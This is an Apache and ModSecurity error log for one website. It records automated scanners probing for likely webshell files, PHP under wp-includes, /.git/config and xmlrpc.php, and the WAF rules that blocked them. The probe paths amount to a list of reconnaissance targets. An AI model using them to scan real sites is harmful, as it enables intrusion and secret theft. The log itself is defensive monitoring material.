[Sun Dec 21 21:44:57.701391 2025] [:error] [pid 59068:tid 59105] [client 104.208.116.65:11881] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/index.php"] [unique_id "aUf52RmLyLqWUlrjwyedRwAAAEQ"]
[Sun Dec 21 21:44:57.965495 2025] [:error] [pid 42755:tid 42761] [client 104.208.116.65:12040] [client 104.208.116.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/index.php"] [unique_id "aUf52eW0XvxgXMTJJbvbbAAAAUQ"]
[Sun Dec 21 21:44:58.369473 2025] [:error] [pid 59070:tid 59141] [client 104.208.116.65:11931] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-signin.php"] [unique_id "aUf52n3dhXne9KX1kgJYagAAAI0"]
[Sun Dec 21 21:44:58.714447 2025] [:error] [pid 30183:tid 30189] [client 104.208.116.65:12018] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-signin.php"] [unique_id "aUf52uCmP2zCzk_WZcUXHwAAAQQ"]
[Sun Dec 21 21:44:59.013654 2025] [:error] [pid 59070:tid 59128] [client 104.208.116.65:12004] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-signin.php"] [unique_id "aUf5233dhXne9KX1kgJYcAAAAIA"]
[Sun Dec 21 21:44:59.375895 2025] [:error] [pid 30183:tid 30208] [client 104.208.116.65:11955] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-signin.php"] [unique_id "aUf52-CmP2zCzk_WZcUXJwAAARc"]
[Sun Dec 21 21:44:59.663253 2025] [:error] [pid 42755:tid 42770] [client 104.208.116.65:12221] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shoyo.php"] [unique_id "aUf52-W0XvxgXMTJJbvbfQAAAU0"]
[Sun Dec 21 21:44:59.978389 2025] [:error] [pid 59068:tid 59107] [client 104.208.116.65:11911] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shoyo.php"] [unique_id "aUf52xmLyLqWUlrjwyedSgAAAEY"]
[Sun Dec 21 21:45:00.249782 2025] [:error] [pid 42755:tid 42764] [client 104.208.116.65:11945] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shoyo.php"] [unique_id "aUf53OW0XvxgXMTJJbvbhAAAAUc"]
[Sun Dec 21 21:45:00.484300 2025] [:error] [pid 59158:tid 59162] [client 104.208.116.65:11944] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shoyo.php"] [unique_id "aUf53I7NvyNF8ab5VgVN0QAAAMI"]
[Sun Dec 21 21:45:00.778711 2025] [:error] [pid 59158:tid 59171] [client 104.208.116.65:11922] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/flower.php"] [unique_id "aUf53I7NvyNF8ab5VgVN0wAAAMs"]
[Sun Dec 21 21:45:01.093579 2025] [:error] [pid 59070:tid 59138] [client 104.208.116.65:11844] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/flower.php"] [unique_id "aUf53X3dhXne9KX1kgJYewAAAIo"]
[Sun Dec 21 21:45:01.522715 2025] [:error] [pid 30183:tid 30186] [client 104.208.116.65:11942] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/flower.php"] [unique_id "aUf53eCmP2zCzk_WZcUXMAAAAQE"]
[Sun Dec 21 21:45:02.129521 2025] [:error] [pid 59067:tid 59080] [client 104.208.116.65:11992] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/flower.php"] [unique_id "aUf53stpsOP1NfIK_qJwmQAAAAY"]
[Sun Dec 21 21:45:02.510528 2025] [:error] [pid 30183:tid 30196] [client 104.208.116.65:12068] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/waq.php"] [unique_id "aUf53uCmP2zCzk_WZcUXMwAAAQs"]
[Sun Dec 21 21:45:02.780560 2025] [:error] [pid 59068:tid 59122] [client 104.208.116.65:11932] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/waq.php"] [unique_id "aUf53hmLyLqWUlrjwyedUAAAAFU"]
[Sun Dec 21 21:45:03.097022 2025] [:error] [pid 59068:tid 59124] [client 104.208.116.65:11847] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/waq.php"] [unique_id "aUf53xmLyLqWUlrjwyedUgAAAFc"]
[Sun Dec 21 21:45:03.468901 2025] [:error] [pid 30183:tid 30192] [client 104.208.116.65:11933] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/waq.php"] [unique_id "aUf53-CmP2zCzk_WZcUXNwAAAQc"]
[Sun Dec 21 21:45:04.046687 2025] [:error] [pid 42755:tid 42768] [client 104.208.116.65:12016] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wakak.php"] [unique_id "aUf54OW0XvxgXMTJJbvbnAAAAUs"]
[Sun Dec 21 21:45:04.632396 2025] [:error] [pid 59068:tid 59110] [client 104.208.116.65:11960] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wakak.php"] [unique_id "aUf54BmLyLqWUlrjwyedVgAAAEk"]
[Sun Dec 21 21:45:04.955061 2025] [:error] [pid 59067:tid 59092] [client 104.208.116.65:11924] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wakak.php"] [unique_id "aUf54MtpsOP1NfIK_qJwogAAABI"]
[Sun Dec 21 21:45:05.297093 2025] [:error] [pid 30183:tid 30195] [client 104.208.116.65:11886] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wakak.php"] [unique_id "aUf54eCmP2zCzk_WZcUXRQAAAQo"]
[Sun Dec 21 21:45:05.588974 2025] [:error] [pid 59067:tid 59098] [client 104.208.116.65:11876] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aUf54ctpsOP1NfIK_qJwpwAAABg"]
[Sun Dec 21 21:45:05.984512 2025] [:error] [pid 59067:tid 59076] [client 104.208.116.65:11843] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aUf54ctpsOP1NfIK_qJwqgAAAAI"]
[Sun Dec 21 21:45:06.244312 2025] [:error] [pid 59067:tid 59090] [client 104.208.116.65:11864] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aUf54stpsOP1NfIK_qJwrQAAABA"]
[Sun Dec 21 21:45:06.761741 2025] [:error] [pid 30183:tid 30204] [client 104.208.116.65:11866] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aUf54uCmP2zCzk_WZcUXTgAAARM"]
[Sun Dec 21 21:45:07.004781 2025] [:error] [pid 59070:tid 59132] [client 104.208.116.65:11859] [client 104.208.116.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aUf5433dhXne9KX1kgJYlgAAAIQ"]
[Sun Dec 21 21:45:07.354141 2025] [:error] [pid 30183:tid 30203] [client 104.208.116.65:11952] [client 104.208.116.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/index.php"] [unique_id "aUf54-CmP2zCzk_WZcUXUQAAARI"]
[Sun Dec 21 21:45:07.692844 2025] [:error] [pid 30183:tid 30208] [client 104.208.116.65:11893] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aUf54-CmP2zCzk_WZcUXVAAAARc"]
[Sun Dec 21 21:45:08.190412 2025] [:error] [pid 30183:tid 30200] [client 104.208.116.65:11908] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aUf55OCmP2zCzk_WZcUXWAAAAQ8"]
[Sun Dec 21 21:45:08.635767 2025] [:error] [pid 42755:tid 42764] [client 104.208.116.65:11907] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aUf55OW0XvxgXMTJJbvbvgAAAUc"]
[Sun Dec 21 21:45:08.983658 2025] [:error] [pid 30183:tid 30206] [client 104.208.116.65:11956] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cwclass.php"] [unique_id "aUf55OCmP2zCzk_WZcUXXAAAARU"]
[Sun Dec 21 21:45:09.504227 2025] [:error] [pid 42755:tid 42758] [client 104.208.116.65:11883] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cwclass.php"] [unique_id "aUf55eW0XvxgXMTJJbvbxAAAAUE"]
[Sun Dec 21 21:45:09.810284 2025] [:error] [pid 30183:tid 30186] [client 104.208.116.65:11871] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cwclass.php"] [unique_id "aUf55eCmP2zCzk_WZcUXXQAAAQE"]
[Sun Dec 21 21:45:10.122983 2025] [:error] [pid 59070:tid 59150] [client 104.208.116.65:11943] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cwclass.php"] [unique_id "aUf55n3dhXne9KX1kgJYoAAAAJY"]
[Sun Dec 21 21:45:10.432084 2025] [:error] [pid 59067:tid 59090] [client 104.208.116.65:11981] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ah24.php"] [unique_id "aUf55stpsOP1NfIK_qJwvQAAABA"]
[Sun Dec 21 21:45:10.942113 2025] [:error] [pid 59068:tid 59110] [client 104.208.116.65:11850] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ah24.php"] [unique_id "aUf55hmLyLqWUlrjwyedYQAAAEk"]
[Sun Dec 21 21:45:11.218387 2025] [:error] [pid 59070:tid 59130] [client 104.208.116.65:12037] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ah24.php"] [unique_id "aUf5533dhXne9KX1kgJYpAAAAII"]
[Sun Dec 21 21:45:11.527723 2025] [:error] [pid 59067:tid 59086] [client 104.208.116.65:11896] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ah24.php"] [unique_id "aUf558tpsOP1NfIK_qJwvwAAAAw"]
[Sun Dec 21 21:45:11.798129 2025] [:error] [pid 30183:tid 30194] [client 104.208.116.65:12017] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rtx.php"] [unique_id "aUf55-CmP2zCzk_WZcUXYwAAAQk"]
[Sun Dec 21 21:45:12.073496 2025] [:error] [pid 59070:tid 59140] [client 104.208.116.65:11865] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rtx.php"] [unique_id "aUf56H3dhXne9KX1kgJYpQAAAIw"]
[Sun Dec 21 21:45:12.346520 2025] [:error] [pid 42755:tid 42764] [client 104.208.116.65:12020] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rtx.php"] [unique_id "aUf56OW0XvxgXMTJJbvbyQAAAUc"]
[Sun Dec 21 21:45:12.758422 2025] [:error] [pid 59068:tid 59121] [client 104.208.116.65:11797] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rtx.php"] [unique_id "aUf56BmLyLqWUlrjwyedYwAAAFQ"]
[Sun Dec 21 21:45:13.024076 2025] [:error] [pid 30183:tid 30191] [client 104.208.116.65:11846] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bipas.php"] [unique_id "aUf56eCmP2zCzk_WZcUXZgAAAQY"]
[Sun Dec 21 21:45:13.280299 2025] [:error] [pid 42755:tid 42763] [client 104.208.116.65:11862] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bipas.php"] [unique_id "aUf56eW0XvxgXMTJJbvbzgAAAUY"]
[Sun Dec 21 21:45:13.549386 2025] [:error] [pid 59070:tid 59151] [client 104.208.116.65:11868] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bipas.php"] [unique_id "aUf56X3dhXne9KX1kgJYqAAAAJc"]
[Sun Dec 21 21:45:13.801178 2025] [:error] [pid 59070:tid 59129] [client 104.208.116.65:12011] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bipas.php"] [unique_id "aUf56X3dhXne9KX1kgJYqQAAAIE"]
[Sun Dec 21 21:45:14.104904 2025] [:error] [pid 59070:tid 59135] [client 104.208.116.65:11853] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/conte.php"] [unique_id "aUf56n3dhXne9KX1kgJYqgAAAIc"]
[Sun Dec 21 21:45:14.425333 2025] [:error] [pid 59070:tid 59149] [client 104.208.116.65:11841] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/conte.php"] [unique_id "aUf56n3dhXne9KX1kgJYrQAAAJU"]
[Sun Dec 21 21:45:14.730612 2025] [:error] [pid 59158:tid 59172] [client 104.208.116.65:11845] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/conte.php"] [unique_id "aUf56o7NvyNF8ab5VgVOAwAAAMw"]
[Sun Dec 21 21:45:15.033608 2025] [proxy_fcgi:error] [pid 59158:tid 59169] [client 104.208.116.65:11781] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 21:45:15.153742 2025] [proxy_fcgi:error] [pid 59158:tid 59168] [client 104.208.116.65:11781] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 21:45:15.274768 2025] [proxy_fcgi:error] [pid 59158:tid 59174] [client 104.208.116.65:11781] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 21:45:15.474821 2025] [proxy_fcgi:error] [pid 59158:tid 59180] [client 104.208.116.65:11781] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 22:54:20.352216 2025] [:error] [pid 59158:tid 59163] [client 138.197.36.149:56750] [client 138.197.36.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "aUgKHI7NvyNF8ab5VgVu9wAAAMM"]
[Mon Dec 22 07:37:30.318413 2025] [:error] [pid 58079:tid 58116] [client 52.13.171.147:64080] [client 52.13.171.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aUiEunxLB7WYaNS5A7jaNgAAAEM"]
[Mon Dec 22 07:37:30.714472 2025] [:error] [pid 33472:tid 33504] [client 52.13.171.147:49704] [client 52.13.171.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aUiEup5p2WQpPIK8HAkwfwAAAYM"]
[Mon Dec 22 07:37:31.104909 2025] [:error] [pid 58078:tid 58099] [client 52.13.171.147:58480] [client 52.13.171.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "aUiEu5WKg9Bf8njHlB6BewAAABA"]
[Mon Dec 22 20:36:47.894627 2025] [:error] [pid 58172:tid 58180] [client 193.163.187.65:26481] [client 193.163.187.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 193.163.187.65, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aUk7X-SVKDT5jWOcnSXvmAAAAMY"]
[Mon Dec 22 20:36:47.904951 2025] [proxy_fcgi:error] [pid 58172:tid 58180] [client 193.163.187.65:26481] AH01071: Got error 'Primary script unknown'
